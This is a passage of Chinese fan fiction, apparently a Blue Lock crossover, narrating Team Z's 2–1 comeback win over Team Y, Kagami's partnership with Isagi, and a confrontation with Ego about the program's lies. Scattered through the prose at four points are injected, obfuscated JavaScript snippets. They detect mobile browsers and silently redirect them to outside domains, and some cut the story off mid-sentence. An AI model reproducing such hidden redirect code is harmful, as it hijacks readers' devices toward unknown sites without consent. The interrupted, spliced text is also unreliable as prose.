第二次射门,守门员争取到的几秒成功拖到了防守队员回防,用身体堵住了这一球的射门路线。 靠着在己方半场的人数优势,这一球掉落后,很快有Y队的人上前抢夺。 “不行。” 镜跟上来,背对Y队球员,保持着将球护在身下的动作,趁盯防自己的人没跟上来,迅速踢向一边。 “Nice苍崎!” 接到这脚传球的不再是蜂乐,而是伴随前者前压的国神。 留在这片区域的Y队球员在国神接球后试图抢断,却有些无济于事。 国神看向前方,球场尽头的球门在两盏灯光的衬托下显得诱人而闪亮。而自己的眼前,虽称不上畅通无阻,但由于自己有着远射这一武器,还算有机会能创造属于自己的进攻。 他从人墙的缝隙里看到举手的蜂乐。 “蜂乐!” 一脚只有国神才能创造的大力远传。球砸进蜂乐面前的地面,又高高弹起。 看着足球落在脚上,不再转动,蜂乐抬起头,依旧是一脸兴高采烈的笑容。 “好。我不客气咯!” 砰! 足球从球门左上角钻进球网,掉在球门内的地面上。 一声哨响,比分被打破。 第一轮选拔赛,Y队对战Z队,0:1。 镜伸出手和蜂乐击掌。 “三个人配合的话,也就没办法了吧。”他回头说道,“虽然也有久远他们的功劳。” Z队的前压分走了Y队的防守资源,而前线扛起进攻大旗的三人又都不是省油的灯。 后背传来一阵力量,镜被拍得发麻。朝后边看去,发现是不知何时走到自己和蜂乐边的国神。 “第二个10分钟就能进球,看起来这场比赛,我们优势很大。”国神笃定道。 镜承诺道: “等到国神的进攻时间,我也会想办法创造让你满意的机会的。” “不愧是你,苍崎。”久远微笑着冲上来抱住他,进球得分的事实让他神采飞扬,“我就知道你可以做到,辛苦了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029032|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司令官!” 这种亲密的举动让镜喘不过气来。 “可以了,可以了,久远。”镜用力推开久远的胳膊,“是你们的功劳。” 这边的庆祝又持续了几秒,久远忽然忧愁起来。 “但是,对面的打法是典型的防守反击吧。”他边想边说,“强行进攻对我们不利,既然已经得分,要干脆切换成防守阵型吗?” “啊?”雷市不满地咧开嘴,露出一口锋利的牙齿,他指着自己,“那我的「进攻10分钟」要怎么办!别擅作主张啊你们!” 但这个问题确实需要回答。 “Z队的各位,我说,”镜转身问道,“你们有谁觉得,自己的武器没办法突破Y队的防线,没办法创造得分,现在就可以举手。” 在场的几人无人举手,这是很容易预料到的结果。 镜看向久远,直视着他说:“就是这样。所以,继续进攻吧,久远。” “欸?这么草率?”久远很惊讶,“防守的事不必考虑了吗?” “唔。已经考虑了,防守的事。虽然去做那件事的人不是我。” 镜云淡风轻地看向身后。 “毕竟,掌握了那种「眼睛」用法,找到了对面「心脏」的人,不止我一个。” 球场的边缘地带,二子看着停留在自己周围的洁。必须承认,他的存在给自己带来了很大麻烦,如果没有他,在刚才的进攻里Y队就有两次机会直接传球然后发动反击。 “是8号的命令吗?让你来防守我。”二子问,“但你们,明明还没有在场上交流过。” “不是命令。”洁的眼睛朝向前场庆祝进球的队友,冷静地说:“是我自己的行动。” 围绕着足球朝四周展开的,远离前场的后场的黑暗里,有一双在夜里微微发光的深蓝眼睛始终注意着二子到大川之间的连线。 “不会让你发挥作用的,二子。”洁世一宣告道,毕竟他的身后就是Z队的后防,“想被断就试试传球过来吧。” 20.弱点 上半场20分钟后,Z队攻势不止。 第三个10分钟、第四个10分钟……1分优势也许会这样保持到下半场开始吧。 “雷市。”镜想着,传球道,“接球。再跑得卖力一点——” 位置很好,前方就是空缺。不如说,Y队为了应对接连的进攻消耗了许多体力,开场时的铁壁防线已经渐渐出现了裂痕。 而体力不足,恰巧是轮换进攻的Z队前锋最不会遇见的问题。 ……欸。镜略微顿住。不过,这样自己是不是成了消磨防线的「炮灰」了? 接球后,雷市起脚射门。伴着一声刺耳的爆响,球撞在门柱上,而后被踢出边线。 “可恶!”雷市向天空大叫,转头喊道:“喂,苍崎,再来一个!” “明白了。”镜看了眼时间,“最后一次进攻,雷市,拼尽全力去跑吧。” 判罚哨响。蜂乐站到场地边上,在裁判机器人的监视下举手示意。 选手聚集在Y队半场。靠着备受信赖的身体素质,镜被安排在了最危险的位置上,默默看着远处的足球,等候着机会到来。 “苍崎くん。” 耳边传来声音,镜微微低头。 他睁大眼睛,“——二子啊。”突然和自己搭话是为了什么? “是。不过,虽然叫出了我的名字,但其实你还不认识我吧。”二子说,“苍崎くん,这场比赛有让你感到辛苦吗?像往常的比赛一样,你并没有流汗呢。” 这样说着,镜感觉到二子的视线落在了自己的额头上。 那种视线,有很特别的感觉。 镜看向发球的位置,同时答复道:“你好像很了解我,二子。” “嗯,苍崎くん是我学习足球时的第一个参考对象。”二子用「就是如此」的语气说,“只靠一个人的进球就能制作出射门集锦,「日本高中足球届的青空」确实很厉害呢。” “所以说那种外号到底是怎么回事。”镜吐槽道,看着二子毛茸茸的发顶。 虽说在球场上和对手聊天很不合时宜,但是把个头矮小的二子安排在自己旁边,难道是要他和自己拼抢吗? 算了,不想这个。镜眼看着蜂乐抛球,轨迹很高,越来越大——是冲着自己来的。 这个高度。镜在心里默默测算着;加上这个速度,这个旋转,如果和自己拼抢的人是二子,那么百分之一百是自己的胜利。 压膝,起跳。足球就在眼前,身前却降下阴影,是在自己面前跳起的Y队前锋大川。 “唔。” 眼睁睁看着球被抢走,镜不得不承认,自己完全没料想到这一招。 落地之后,接应上来的Y队球员立刻接住大川的传球,而后在己方半场开始了密集反复的传接。 节奏变了。是对方做出战术调整了吗? “苍崎くん。其实在这场比赛开始前,我有考虑过如何战胜有你的球队。” 苍崎看向二子。 Y队的传接球路线巧妙地避开了自己,短时间内自己很难断球。 他干脆问二子:“所以答案是什么?你给出的,战胜我们的答案。” 这句话里有着不易察觉的在意。二子抬起右手,圈住自己的眼睛。镜顿时感受到二子浓密的刘海下有一束极具穿透性的目光向自己射来。 “苍崎くん,是那种定下目标就不会轻言放弃的类型吧。” 二子一挥的话语如医生的诊断般精准。 “你的「眼睛」是这么告诉我的。所以你的「弱点」就是「不懂得放弃」。” 二子的脑海里有这样一段记忆:荧蓝的屏幕,反复轮播的录像,以及录像里不断奔跑着,用不同办法进球的少年。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032697|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不管有多少人拦住你,哪怕身边已经有了接应的同伴,你还是会选择自己射门。” 听到这里,镜的眼神变得充满压迫。 “这有什么问题?我是前锋吧。” “嗯。但那是以前的苍崎くん,现在的苍崎くん似乎有了新的想法。” “这是要对我进行批评吗?”镜反问。 “不是的。只是在陈述事实而已。” 然而,无论苍崎给出什么反应,二子都只是冷静地阐释着。 “苍崎くん的做法,是「球场上,要以我为中心」的类型。” 进球得分、助攻射门,不管到了哪个位置上都要发挥出最大作用,彰显自己的存在感。不论何时都出现在混乱聚集的暴风眼地带的苍崎,在默默观察的二子眼里,是一个藐视生死地拼命,自己却没有这种自我认识的「狂人」。 刘海下,眼眸轻转。 “但这种做法,很消耗体力吧。” 镜顿觉异样。正如二子所说,自己这场比赛的跑动已经远超一般的比赛,对自己来说,并不剧烈,却十分难以适应。 在二子的想象里,随着比赛的进行,全场拼搏的自己因为体能下降而出现破绽,但近乎被全程防守,无事可做的二子反倒因此而储备了足够的体力。 “唔。是这样啊,我明白了。”活动了一下小腿的肌肉,镜说道。 从某种角度上来说,上场比赛也是因为滥用这具身体才导致体力流失,最终令自己在拼抢中受伤。 他看着墙上的指针,滴答,滴答,一点点地移动到数字45上。 “就算如此,还是我们占据优势。”镜说道,“顺便一提,我不会轻易改变想法的。” 二子面不改色地应下。 “嗯。毕竟这一点,就是我们Y队,赢过你们Z队的「条件」。” 21.勉强 场间,Z队休息室一片太平。 “呀呼!”成早拍上镜的肩膀,喜悦之情溢于言表。“喂喂,苍崎,我们领先了哦!” 久远将水挨个递给队员,用挂在脖子上的毛巾擦干了脑门的汗。 “只是一分领先,还要小心后半场Y队的反攻。”他说。 “有什么嘛。反正对面的水平也就这点了吧,要能得分早就得分了。” 面对久远的劝诫,成早摆出散漫的架势笑呵呵地抱住脑袋。 洁观察着众人的反应。休息室内气氛轻松,就算有像久远这样的保守派,也无法掩盖其它人身上飘散的愉悦感。可以看出,领先的比分加上对手的虚弱攻势给所有人都注射了一支定心剂。此刻,队伍的氛围已经和开场截然不同了。 这究竟是好事,还是坏事?单凭自己一人无法判断。洁世一走向角落,看着椅子上蒙着毛巾的苍崎镜。白发少年的脸上毫无汗水的踪迹,尽管如此他还是为了什么接过了久远递来的毛巾,把它当做面罩,遮住了自己的额头和眼睛。 “镜。” “唔?” 洁世一出声,镜朝他看来。蒙住脸颊的毛巾掉落。本来已到达喉口的关心之语,在镜那双眼睛的注视下却变成了别的声音。 “——下半场,我的时间。”洁贴着镜坐在休息室的椅子上,“打算怎么做?”他问。 “原来是这个问题啊。” 镜了然,抓下掉在腿上的毛巾,随意地挂在脖子上。 “没什么变化,按计划来就好。此外,就是要小心在你进攻时的二子——” “我说,真的没问题吗?镜。”洁低声打断道,他正视着镜的眼睛。 果然,自己没办法忽略这件事啊。 “你在想办法控制所有人。但是,对镜来说还是太勉强了吧。” 见自己的念头被戳破,听到这话,镜不自在地动了动球鞋中的脚趾。 “大家为了赢,会配合你的举动,但是这样下去,你的体力会在比赛结束前耗光。”见镜不说话,洁不放弃地问,“难道你要说这也在你的计划内吗?” “……无所谓。反倒是多余的自我只会给球场上的秩序带来负面影响。”镜依旧维持着那副风轻云淡的外表,平静地解释,“我只是在用我的方式来帮Z队获胜。” 恰恰是这种事不关己的漠然让洁世一感到一阵慌乱。 “太勉强了!这种状态,能不能有训练时的效果是一说,何况还有你身上的伤——” “唔。洁。” “……哈?” 就像是被念叨得不耐烦了一样,镜突然起身低头俯视着坐在椅子上的洁,身前打下的阴影将洁整个人笼罩进去。然而,奇妙的是,他脸上的神情既无烦躁也无冷漠,揣的还是那副水面般的平静无波。 镜说: “你刚才说「勉强」。” “但人不勉强自己,就不会变强吧?” 他将毛巾叠好,放在一边。 “如果是洁的话,应该能理解我。” 镜这样说着,拿起水杯走向房间外,在同伴的簇拥中抓紧休息的尾巴打上饮料。 只留下洁心中无以名状的感情如乌云般淤堵在血管里,随不安的呼吸传递出雨声。 这叫什么歪理啊。强行把这种理念灌输给自己,镜是怎么回事,抖S属性暴露吗? 但是,这是什么感觉。 他抓紧胸口的球衣,11号的字样变得皱皱巴巴,黑色条纹波浪般在掌心荡漾开来。 “洁?下半场要开始了哦?” 洁抬起头,蜂乐在休息室门口等他。不知不觉间,其它人已陆续离开了休息室。 那份感觉,让洁世一的意识闪回,回到不久前的夜里,分属于现实和回忆的两道声音重合在一起。 「洁,我有预感,在和Y队的比赛里,我们会踢出『了不得』的一球。」 “洁的时间在下半场吧?真期待呢!” 一块拼图掉在漆黑的水面上,蓝色而发着光,静静躺在四散的涟漪中央。 也就是说,不「勉强」就不会变强。 Y队对战Z队,下半场比赛开始。 球权属于Y队,即使比分落后,他们依旧没有放弃自己的防守反击。 足球在Y队的半场反复滚动,让人看得眼花缭乱。Z队压上,局势又变得和上半场一样。 “前锋くん,午安。” 镜盯上了带球的Y队前锋。 “嘁。”Y队前锋只好传球,不忘简单地唾骂:“阴魂不散。” 球已不在他脚下,镜立刻失去兴趣,跟随传球的方向侧身,准备前往那边接应。 “抱歉,你不可以去那里。” 二子从侧翼杀出,拦住镜的脚步。 镜用显微镜似的眼光观察着二子。明明他有的只是相比之下堪称娇小的个头,却偏靠着这些和头脑做着滴水不漏的防守。 “这样好吗?球不在我这里。” “但是,你的队友想给你传球吧。”二子说,“那么,我来否决这种「可能」。” 镜观察周围。以自己为中心,包括二子在内的对手从各个方向分别切断了自己和队友的「连线」。 “我已经明白你的武器了。”二子说,“苍崎くん,有强劲的射门、高精度的传球、快速的跑位。但是那时体能充沛的你,体能下降后,就算是苍崎くん也没办法像之前那样把这些武器用出来。” 镜眯起眼睛,趁这一瞬间向有球一侧的空隙突破,却被二子迅速粘了上来。 “没用的。” 二子的刘海被吹起,露出下面绿色的势在必得的眼睛。 “现在的苍崎くん,我可以防下来。” “你说得对,我在做无用功。” 眼看着时间流逝,镜忽然停下脚步。 “甩开你是不可能的。” “嗯,苍崎くん终于承认这点了。” 二子轻轻应下了这仿佛认输一般的话。 眼看着球权在Y队脚下转换,镜想到了什么,发出「啊」的一声。 “原来如此,二子。你想要的「条件」是这个。” 以二子和苍崎为界限,整个球场,被分割成这里和别处两个世界。 “是的。”二子回答,“我想知道,失去「大脑」和「心脏」,哪个更致命。” 在失去苍崎镜前提下的Z队,仅仅是蓝色监狱内的普通水平。同样水准的Y队,对战这样的Z队不是没有胜算。 镜揉揉脖子。 “如果是别人,大概会说「我相信他们」什么的……但换我,我觉得你说的没错。” 「下一个到我十一人」战术意味着下半场轮换的前锋不会像上半场那样强力,对他们而言,被砍断脖子,切断和「大脑」的连接是无比致命的难题。 而且,正因为排名靠后的队员难以做到单打独斗,考虑到这一点,在训练时苍崎镜压根没想过怎么让他们自己发挥。 看着认真防守自己的二子,镜第一次对眼前不起眼的矮个子中场改观。 真的被你说中了啊,二子,那份「自我主义」成为了我的弱点。 球场的地面裂开一道道缝隙,深入地底的鸿沟将二子和苍崎困住,隔绝在其它人接触不到的孤岛上。与此同时,孤岛之外,熔岩滚滚,是球场上在分针的跳动中越发焦灼的战况。 “啊!可恶!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15066394|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 球权一直在对手那里,眼看着属于自己的进攻时间所剩无几,成早抱着拼了的心情强行抢下一球,不假思索地将球传给镜。 “苍崎!拜托了!”说完,他举手示意自己的位置,快步朝前跑去。 但是,这并非Z队扩大比分的机会。 而是Y队(二子)等待已经的「转机」。 在镜的感知里,二子,不,准确来说是以二子为中心的整个Y队——动了。 危机感涌上大脑,镜睁大眼睛,死死盯着传来的球。 高度、旋转、弧线、时间,防守自己的人是二子,所以要在这个时候起跳—— 镜微微屈膝,小腿肌肉收缩发力。 然而就在这一瞬间,他的背后传来一阵强大的冲力。 大川呲着牙,顶着满头汗水笑着。 “别以为只有你会满场跑啊,瞧不起人的白毛混蛋。” 起跳动作被大川的冲撞破坏,镜倒向地面,最后一秒强行撑地支起身体。 但是为时已晚,足球,已经来到了二子脚下。 “……” 事到如今,二子什么也没说。若是放到古时候的战场,他大概会是个让士兵感到不称职的将军吧。 就像此前一样,得到球权的二子让Y队焕然一新。 吸入大量的氧气,途径「心脏」,流经全身。 感受着小腿传来的阻力,镜意识到,自己已经没办法像上半场那样全力奔跑了。 无人盯防的二子、拼上全力的大川,Y队靠这两人在下半场第24分钟扳平了比分。 哨声吹响,1:1的比分和所剩无几的时间意味着:不管是谁,再进一球就会赢。 “非常对不起!” 成早对其它人深深鞠躬,忍着不让悔恨的泪水流出来。意识到是自己过度依赖中场的错误决策导致了这次丢球,而他的时间也在这一次的进攻中彻底结束。 球场上,气氛略显僵硬。休息时的轻松感一扫而光。 “不完全是你的错,那种情况下会想要队友的配合也无可厚非。”久远安慰道,随后看向镜,“苍崎,你没事吧?刚才你摔倒了,难道是小腿出了问题吗?” “我没有事。”镜摇摇头,“顺便一提,我的看法是:继续这么踢。” 所谓的「这么」,就是继续用以中场为核心组织进攻的踢法决胜负。 “不行,太勉强了!”久远反对道,不管是身体还是胜负都是如此,“虽然很不甘心,但是事到如今,还是先想办法守住平局……” “但是——打进一球后告诉我「靠我们的武器也能得分取胜」的人是你们吧?” 镜不客气地说。 “也包括你吧,久远?” 被那语气里罕有的冷意震住,久远愣在原地,想起了上半场自己的自信。 看了一会,镜点点头说: “我直说了,我讨厌自我怀疑的人和遭受一点挫折就轻言放弃的人。既然做出承诺,就请各位坚持到最后。” “为了胜利,也不止为了胜利,我也会拿出本事,和诸位一起坚持到最后。” 说完,镜看向洁,勾起嘴角。 “到你的10分钟了,「搭档」。或者说,你也要以「勉强」为理由用防守代替进攻?” 洁世一看到,镜正向自己传递着代表信任的信号。 这个问题你来决定。不管答案是什么我都接受。 不过,你不想「变强」吗? ——从不讲什么感情、Z队最冷酷的司令官,正用他的微笑对他这样说着。 沉默片刻,洁世一,回以飒爽的微笑。 “我们进攻吧,「搭档」。” 22.默契 下半场比赛哨声再响,随着时钟的嘀嗒声球权不停转换,平分带来的压力竟使球场上沁出阵阵寒意。 球停在脚下,平淡如水的眼神从镜被白发微微遮挡的眼中溢出。他看着再度起身压迫上来的二子,轻声问:“非要盯着我不放吗?” 二子没有说话,他的行动已经展示了他的决心。 镜很明白二子的目的:就是逼迫他把球传给其它人,由此破坏掉Z队的进攻体系。 如果真的那么做了就正中他的下怀。镜眯起眼睛,鼻腔中涌上淡淡的消毒水的味道和其它人身上洒落的汗水的味道。他想起之前二子对自己的判断:说的没错,自己的武器看似强劲,实则深深依赖着自己的体能。此前没有表现出这点,只不过是因为对手不像现在这么强罢了。 思绪万千之间,镜选择将球回传给移动到后场的蜂乐,自己跟随锋线朝前跑动,越过中线,踏进敌方半场。 然而二子还是紧跟自己不放。 镜忍不住蹙眉:“还要来吗?” “和8号的蜂乐くん硬碰硬是没有意义的。”二子说,“只要没有能接住他传球的人就可以了。” 事实如他所说,虽然得到了传球,但是身在后场的蜂乐没有办法仅靠自己将球一路盘带到锋线汇聚的前方。 镜回头观察,恰巧对上了蜂乐朝自己投来的视线。那是在寻找可以接球的伙伴的眼神。但是几分钟前的结果已经证明,不管是谁,只要试图给他传球,就会触发虎视眈眈的Y队近乎全队的反攻。 蜂乐移开了视线,脚尖轻碰,将球传向边路。 “完全是浪费时间……”镜轻声呢喃,看向二子——少年厚厚的刘海挡住了他窥探的视线。 这样下去,平局已成板上钉钉。二子一挥,Y队的心脏,难道这就是你想要的结果? 现在的Z队,就像一只脖子被扼住的鸟。翅膀再怎么用力,也无法像之前在蓝天翱翔。 洁世一游荡在边路的一隅,凭借此处的良好视野纵览球场的一草一木。 少年咬紧牙关,局面僵持不下。直到——防守苍崎的二子出现了破绽。 “国神!”镜立刻移动到二子背后,同时抬手向后场的国神大喊示意。 虽然只是短暂的愣神,但是无时无刻不在动荡的防线却因为这点失误而出现了一个微小的缺口——镜知道,对于自己而言,已经足够了。 腿骨传来微微的咯吱声,体表的热度正直线上升,所剩无几的体力大概只能支持一次进攻。镜盘算着,看着在眼前因反作用力跳起的足球,和一左一右包围上来的球员。视线一扫,看到从侧面悄然压上的洁,心里拿准了接下来的做法。 霎时间,镜呼吸频率骤变,踏着草地占领足球落点。奔跑时扑面而来的风亲吻着他的脸侧,他调整重心,身形如波光般闪烁晃动,在两个对手的干扰中抢下了一块狭小的起脚区域,同时摆出了远传的架势。 球场上二十二人的站位混合着发光着行进路线在镜的脑海中浮现,死路与生路交织成网,却在这一刹忽然破裂——他猛地晃动身体,险之又险地将球从大川的铲断里小心护住。霎时间他忽然明白:二子的破绽,只是诱导他进攻的饵;而眼下陷入三人包围的自己,则是Y队渴望得分的饿狼眼中美味的肉。 时间,时间是——镜快速扫过时钟,原来不知不觉间已经到了比赛最后的三分钟。 眼看着Y队严防死守一整场的后防如眼放绿光的狼群般蠢蠢欲动起来,镜明白了Y队的「底牌」:“原来如此,这就是你们用出这种办法的「条件」。” 再一个拨动将球捞回身前,如同在收缩的铁网间游弋的海鸟。但无论动作多么美轮美奂,也改变不了被抢走球只是时间问题的事实。 而镜心知肚明:这就是最后的比试。一旦球在自己这里被抢走,大川传给二子,由全队压上的Y队对上己方的后防,胜负的天平就会彻底地向对方倾斜。 此时此刻,被三人包夹处境危险的镜,想起的却是作为咒术师时自己的日常生活。 咒力流动的世界,被恶意、狂言和血腥的妖物谭填满的物语。因为那份不由自己掌控的力量被不断追杀、被期望。 那时候的自己有渴望过像现在一样寻常人的生活吗? “镜!” 在包围圈外围数米的位置,一道熟悉的声音划破了苍崎镜凝滞的思维。 那声音不止唤起了镜的注意,也牵扯了大川和另外两个防守队员的心神。 “……唔?” 过度的专注甚至让镜产生了时间变慢的错觉。虽然只是极其微弱的可能,但是他的确看到了:再「勉强」自己一点,就能从死局里出现的、「转折」的可能。 在那道声音消散的前一秒,镜抓住对手刹那的分神,将球从两人防守的半米左右的狭窄空隙间传了出去。他从另一侧绕过面前的人,在混乱的场面里狠狠踏地,冲刺甩脱大川朝着自己伸来的手。 洁世一接球,回传——苍崎镜再传。 不同的「二过一」。 两人散开,洁世一直切球门,苍崎镜则留在原地面对带着敌意压迫上来的防线。 “喂,你和那个11号怎么各自为战了?” 看着镜微微张口喘息,自以为对方体力耗尽,胜券在握的高个头的防守球员放松地笑着。 镜回答他:“那当然了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087976|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他慢慢抬头,视线从足球上移开,让对手看清了自己眼中的神情。 那蓝色眼眸中的平静被激情吞噬,在风浪里破碎的海平面激起了雪白的浪涛。 “就是要这样,才能验证我们的「默契」啊。” 仿佛能撕碎耳膜的破空声响起,飞速旋转的足球带着恐怖的弧线向着空无一人的边路飞去。先是在空中高飞,而后在过半时突然下坠,重重砸在不知何时出现的洁世一眼前仅有一步远的位置——完美的起脚位置。 没有任何语言沟通,仅仅是凭借纯粹的直觉交流——潜藏球场的前锋精准地抵达了他的中场眼中最适合他的位置。 另一边,苍崎镜摔倒在地,这次他没有站起来。用上仅剩的体能传出这一球,意味着无视了被对手反击的后果,将一切可能都赌在了队友的这一次射门上。 这次真是昏头了,用得太过分,身体从刚才起就一直传来让人恼火的疼痛。 镜翻了个身,半睁着眼看着天花板,任由耀眼的灯光刺痛自己的眼眶。 他闭上了眼,被践踏一整场的草地散发着淡淡的泥土和露水的气味,在这让人昏昏欲睡的气氛里,苍崎镜忽然想起几十分钟前和二子的交流。 看来是我们的进攻更强,二子。不过,是我们的「默契」胜过了你们的配合。 心脏的跳动变得剧烈,镜默默揪紧了胸口的球衣,烙印的数字「7」变得皱皱巴巴。 飘远的思绪回到身体时,镜睁眼第一个看见的,是从前场跑回自己身边的洁。 “……” 那副淌着汗水的温暖笑容跃入眼帘。镜看着洁,在理智上线之前,追随着本能的呼喊坐起身体抱住了自己的「搭档」。 “唔啊!” 洁世一吓了一跳,被沉重的力量压弯身体,无奈地配合镜的动作抱住他的后背。 “镜,这样很沉的。”他抱怨道。 “不说那个。”镜搂着洁的脖子,把自己埋在他的肩膀里,像是不敢面对似的闷闷地问:“进球了吗?” 洁安静了两秒,然后「嗯」了一声。 话出口的瞬间,洁世一感觉到勒着自己的手臂紧缩了一刹,又忽然恢复自然。 镜小声说:“谢谢你相信我,洁。” “谢谢你为我创造的机会,没有你的话,我没办法传出那样的球。” “哈哈……” 由此,他察觉到了隐藏在积雪般冷淡单调的外表之下属于苍崎镜的心情。 不知道该怎么回答,洁干脆笑了笑。 “辛苦了,「司令官」。” 在庆祝的同时,终场哨声吹响,Y队对战Z队,最终比分——1:2。 23.「回到」 烤肉的香气填满寝室的角落,镜接过队友递来的盘子。更衣室的坚硬长椅硌着后腰的感觉仍挥之不去,他放空心神享受着这胜利的滋味,看手心的水杯在眼前晃出细小的涟漪。 “苍崎,辛苦你了!”久远举着水杯撞过来,饮料溅在战术笔记的边角,他兴奋地问道:“最后那个传球,你怎么知道洁会在那里?” 镜感觉到,一股股视线因久远的问题汇聚在自己身上。 “对方左后卫用0.5秒提防了我,所以出现了一瞬间的空档。” 他捡起战术笔记,捏着它晃动,抖掉上面的水珠,横线纸上留下一道灰色的水痕。 “整整0.5秒,绝对够各位中的任何人甩开防守去球门前接住我的传球。” 久远笑眯眯的:“原来是这样啊,真厉害呢!苍崎和洁的配合。” 欢呼声在寝室里炸开,有急性子的人已经踩在床铺上高高举起水充当香槟。镜低下头,看着自己的影子在液面上晃动,默默抓紧了水杯,指节因用力而微微泛白。 太冲动了,那时候……应该把洁当做诱饵自己进球的。 想起绘心甚八让人揣摩不透的表情,那张脸的主人正指着自己,用不容置疑地语气命令道:“去给我进球。做不到就走人。”镜不由得升起一股叹息的欲望。这种欲望既是对自己无法反抗规则的无奈,又是对无法抗拒传出那一球的自己的无奈。 “值得吗?” 千切忽然坐过来,盘腿坐在地上,看着庆祝的Z队。 “就算赢了,和你也没关系了吧。” 镜没动弹,和他看向同一个方向,目光织构成网,捕获着洁世一脸上真心的笑容。 “我不想欺骗自己。”镜举起水杯贴在唇边,“不为战术和胜利,是我想传那球。”说完这任性的话语,他倾倒水杯,食道被流进喉咙的水流滋润。 镜意识到:千切察觉到了那种可能,由那种「感觉」下的自己直接进球的可能,所以才会用值不值得这样的话来试探自己。 先前的相处让镜积累了一些对千切的信任,他放下水杯,回答道: “再说,现在后悔也没用了吧。” 千切意味不明地笑起来:“哼……是啊,毕竟进球的人已经是洁了。” 镜「啊」了一声以示回应。站起来,在众人的注目下看了看门口,冷静地说道: “我要走了,各位,回见。” 趁着任何人都没做出反应的瞬间,镜走出寝室。纵使身处静悄悄的走廊,仍能听见身后的讨论声。比赛前涂抹的外用药物在小腿上残留的凉意在缄默里隐隐发烫,像这场比赛结束回过神来的自己愈加混乱的心情。 监控室内,绘心甚八的拖鞋踩踏过满地破碎的方便面,手里拎着一袋口味不同的新的粉包。 敲门声起,他头也不回地说:“直接进来吧,232号。” “打扰了。”苍崎镜的身影出现在打开的门缝里,侧脸被昏暗中唯一闪烁的屏幕上的光打亮。 一时没有人说话。最后,还是镜忍不住开口:“绘心先生,补充规则……” “哈?什么规则。”绘心晃了晃筷子,视线一秒都没有从数据上移开,“那是假的。” “唔?” 镜先是否认,半信半疑地等待绘心甚八的「后话」,直到半晌都没有动静,他才意识到那话是真的。 同时,「被人耍了」的愤怒涌上心头。 这是什么理所当然的语气,居然编这种谎话骗自己,到底有什么意义? “……为什么?”镜沉声问。 “过来看看吗?”绘心甚八无视了镜的问题,“从这里,看「蓝色监狱」的实况。” 镜顿了顿,没忍住内心深处躁动的些许窥探欲,走到屏幕前和绘心甚八并排。 第一时间,他想到的是寻找Z队的存在。 “Z队……Z队休息室……” 但屏幕上的「Z队休息室」空无一人。 真相直白地在眼前揭露,镜没忍住一掌拍在桌子上,俯身确认监视器上的内容。他看到了两个、不,五个Z队,以及几个熟悉的面孔。那些面孔没在五号监狱传阅的录像带里出现过,却在集合时有过一面之缘。 按理来说,这些人对于作为「底层」的五号监狱而言,应该是更强的角色。但苍崎镜分明看到了:他们的袖标上,是和五号监狱同款的V到Z。 眼看镜沉默不语,绘心甚八靠上座椅,“没错,就像你看到的,所谓的「蓝色监狱」就是一场谎言。” “开什么玩笑……”镜睁大眼睛。 所以这不是自己第一次被耍,而是自打进入「蓝色监狱」起,所有人都被绘心甚八骗了吗? “怎么,要造反吗?”绘心甚八反问。 屏幕突然闪了一下,镜看见旁边的显示器上,两张对比分明的数据图表和自己的倒影交织辉映——唇角绷紧的直线,慢慢融化成暗室里一声叹息。 “不……这种规则有其存在的必要。”镜答,“但我还是不懂,为什么偏偏是我?” 绘心甚八不语,只是切出录像。 「砰!」 画面内,一个衣着古朴、拿着怪异造型武器的成年人猛地倒飞出去,砸在画面边缘的矮墙角落。 「谁让你们来的?」少年的声音从画外传来,瘦长的阴影打在男人身上,他走进了镜头,但却只露出了膝盖以下黑色的鞋子和裤脚。 没等到那男人回话,少年狠狠一脚踢中了他的肩膀,一下、两下……墙面崩裂,就这样,一个高大的成年人被一脚脚踹进了墙里。 少年弯下腰,白发遮住侧脸,只录下他拽起男人衣领胁迫的动作。 「算了……不管你背后的人是谁,把话带回去,别打咒术高专的主意。」 「我最讨厌的就是你们这种为了钱和满足变态欲望滥杀的人。」 他淡淡地说,抓着男人的衣领,提一袋水果般轻而易举地将他提了起来掼进墙里。 「记住了吗?」 